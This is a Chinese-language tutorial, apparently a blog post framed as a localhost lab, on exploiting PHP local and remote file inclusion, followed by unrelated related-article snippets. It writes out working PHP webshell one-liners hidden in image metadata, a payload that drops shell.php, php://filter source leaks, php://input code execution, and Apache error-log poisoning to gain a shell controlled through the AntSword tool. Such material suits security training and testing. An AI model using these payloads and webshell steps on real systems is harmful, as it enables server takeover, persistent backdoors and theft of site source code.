文件包含漏洞的利用

读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  • 目标主机文件存在(目标文件的路径、绝对路径、相对路径)

  • 具有文件可读权限

  1. 提交参数http://localhost/include/include.php?path=C:\windows\system32\drivers\etc\hosts,读取本地host文件

  1. 提交参数http://localhost/include/include.php?path=http://www.cac.gov.cn/2021-01/22/c_1612887880656609.htm,读取远程文件,加载远程服务器上的文件

直接包含图片木马

可以利用文件包含漏洞直接包含图片木马

  1. 在include文件夹下新建wx.jpg图片文件

  1. 点击文件右键选择属性,点击版型信息,选择版权,输入一句话木马

<?php @eval($_REQUEST[123]);?>
  1. 打开浏览器输入http://localhost/include/include.php?path=./wx.jpg,进行访问

  1. 继续输入?path=./wx.jpg&123=print(md5(123456));,我们发现一句话木马能够输出md5值

  1. 复制URL通过包含的方式连接中国蚁剑。打开蚁剑,右键添加数据,如下图所示,测试连接成功

包含木马写shell

我们也可以将如下代码写入到图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

  1. 在include目录下,复制wx.jpg,重命名为wx_fputs.jpg,通过notepad++打开该文件,随便一行插入代码<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

  1. 之后打开浏览器正常访问http://localhost/include/wx_fputs.jpg,页面显示如下

  1. 继续输入http://localhost/include/include.php?path=./wx_fputs.jpg,页面显示如下

  1. 随即发现在include文件夹中有个新建文件shell.php,即可用蚁剑连接

PHP封装协议--访问本地文件

我们可以使用php的file协议访问本地系统文件,输入访问http://localhost/include/include.php?path=file://C:\windows\system32\drivers\etc\hosts

tips:我们发现file协议与读取敏感文件中的读取本地host文件的方式是一样的,只是在前面加了file://

PHP封装协议--传输PHP文件

我们可以使用以下参数来传送任意PHP文件(也就是利用文件包含漏洞来传输php文件)。

  1. 访问http://localhost/include/include.php?path=php://filter/read=convert.base64-encode/resource=info.php,发现info.php文件被转换为base64编码了

  1. 打开burp点击decoder模块进行转码(tips:可以通过这种方法获取网站源代码)

PHP封装协议--执行PHP命令

我们还可以利用PHP的封装协议来执行PHP命令

  1. 打开burp,点击repeater模块

  1. 直接输入参数?path=php://input,在后面直接写上<?php phpinfo();?>,点击send(tips:我们发现可以执行任意的php代码)

注意:远程文件包含默认情况下都是关闭的,传输php文件和执行php命令这两种方法有两种用途:

  1. 是用来打cdf的

  1. 是持久控制的php后门

那么已知一个网站存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

经典面试题

包含日志文件getshell

实验背景

在上文提到过:已知一个网站且仅存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

实验目的

利用本地文件包含漏洞GetShell

实验前准备

  1. 查看php版本,修改其配置,找到php-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。

  1. 在该网站根目录下,新建文件FileInclusion,在此文件夹中新建文件include.php,文件内容为

<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

实验步骤

由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,就是从日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

  1. 将访问include.php页面的URL链接http://127.0.0.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。

  1. 在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击send,可以看到响应报错

  1. 服务器在请求报错后,在错误日志中就会增加一条响应记录。我们打开Apache的错误日志,路径为D:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行

  1. 打开中国蚁剑连接。打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://127.0.0.1/FileInclusion/include.php?path=D:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。

  1. 添加在软件主界面可以看到新添加的内容,双击即可管理服务器

tips:

  1. 利用一切可能让服务器本地某个文件中含有一句话木马

  1. 第二步文件包含之让代码执行

  1. 如果网站存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用网站远程文件包含该文件,并不能Get网站Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

扩展:

  • 包含session文件,造成sessionId泄露

  • metinfo5.0.4文件包含漏洞代码审计

【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell相关推荐

  1. java 用于xcopy复制_利用xcopy命令实现本地文件复制到远程服务器的方法

    利用xcopy命令实现本地文件复制到远程服务器的方法 更新时间:2013年05月08日 10:52:36   作者: 把本地文件复制到远程服务器:用Xcopy命令可以做到,具体实现如下,感兴趣的朋友可 ...

  2. 怎样把本地文档共享至服务器上,利用云服务器共享本地文件

    利用云服务器共享本地文件 内容精选 换一换 当您成功创建私有镜像后,镜像的状态为"正常",您可以使用该镜像创建服务器实例或云硬盘,也可以将镜像共享给其他帐号,或者复制镜像到其他区域 ...

  3. 浅谈本地文件包含利用

    今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI she ...

  4. LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习

    友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...

  5. 文件上传漏洞实验-通过截取http请求绕过前端javascript验证进行文件上传

    1.什么是文件上传漏洞 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效的,部分文件上传漏洞 ...

  6. 使用 SAP UI5 FileUploader 控件上传本地文件试读版

    一套适合 SAP UI5 初学者循序渐进的学习教程 作者简介 Jerry Wang,2007 年从电子科技大学计算机专业硕士毕业后加入 SAP 成都研究院工作至今.Jerry 是 SAP 社区导师,S ...

  7. scp复制本地文件到远程服务器,scp 本地文件到远程服务器

    linux中scp命令的使用 linux远程拷贝文件命令:scp(scp:secure corp)(1)从本地拷贝文件到远程服务器scp/opt/script/test.pl root@192.168 ...

  8. 远程主机和本地文件互传的2种方法

    一. ftp服务器 FTP 是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为"文传协议". 用于Internet上的控制文件的双向传输. 同时 ...

  9. html js引用本地资源,了解使用JavaScript读取本地文件的方法

    本篇文章给大家介绍一下使用JavaScript读取本地文件的方法.有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助. 出于安全和隐私的原因,web应用程序不能直接访问用户设备上的文件.如 ...

  10. JavaScript 如何读取本地文件

    出于安全和隐私的原因,web 应用程序不能直接访问用户设备上的文件.如果需要读取一个或多个本地文件,可以通过使用input file和FileReader来实现.在这篇文章中,我们将通过一些例子来看看 ...

最新文章

  1. 秒啊!程序员防猝死指南来了!
  2. elasticsearch组件的安装启动,测试等(windows)
  3. MySQL-常用命令大全
  4. html css js实现快递单打印_JS与HTML、CSS实现2048小游戏(六)
  5. Java 字符串比较,String 中的一些方法 == 和 equals 的详解
  6. P3911 最小公倍数之和
  7. 【技术解决方案】GitHub本地仓库管理与远程仓库管理
  8. ocr语种识别_利用OCR图文识别,快速帮你提取文字信息
  9. C#中的IO流操作(FileStream)
  10. vim的ex模式介绍
  11. gMIS吉密斯导航菜单Navimenu、自动安装等更新
  12. 基于STM32F103的电子磁密码锁智能门禁原理图PCB程序设计
  13. SpringBoot实现微信授权登录、二维码登录
  14. 闲鱼选品的6个维度,附赠35个爆款品类!
  15. Ogre 使用声音最简单的方法
  16. vue 自动打开浏览器
  17. 计算机论文的技术路线图,怎么写好论文开题报告技术路线流程图
  18. Django企业开发实战--by胡阳,学习记录1015
  19. 第七天 01.ssh服务 使用堡塔以及xshell等连接linux
  20. 详细的Qt数据库操作

热门文章

  1. 接口管理系统 eoLinker-AMS 开源版 V3.5.0 发布更新
  2. 形态学填充孔洞的几个问题
  3. office2007 打开Excel 提示 工作表中的公式包含一个或多个无效引用的解决方法
  4. 通过 TokenType(){}.getType()获取Persionlt;Tgt; 泛型T的类型和数值
  5. telegram群组管理机器人
  6. echarts之legend-改变图例的图标为自定义图片
  7. Eclipse 创建JavaWeb工程
  8. mongodb关机重启
  9. 来自Bitly的USA.gov数据,数据分析案例
  10. 含泪赔了近200万,我终于明白不是什么人都能干电商的……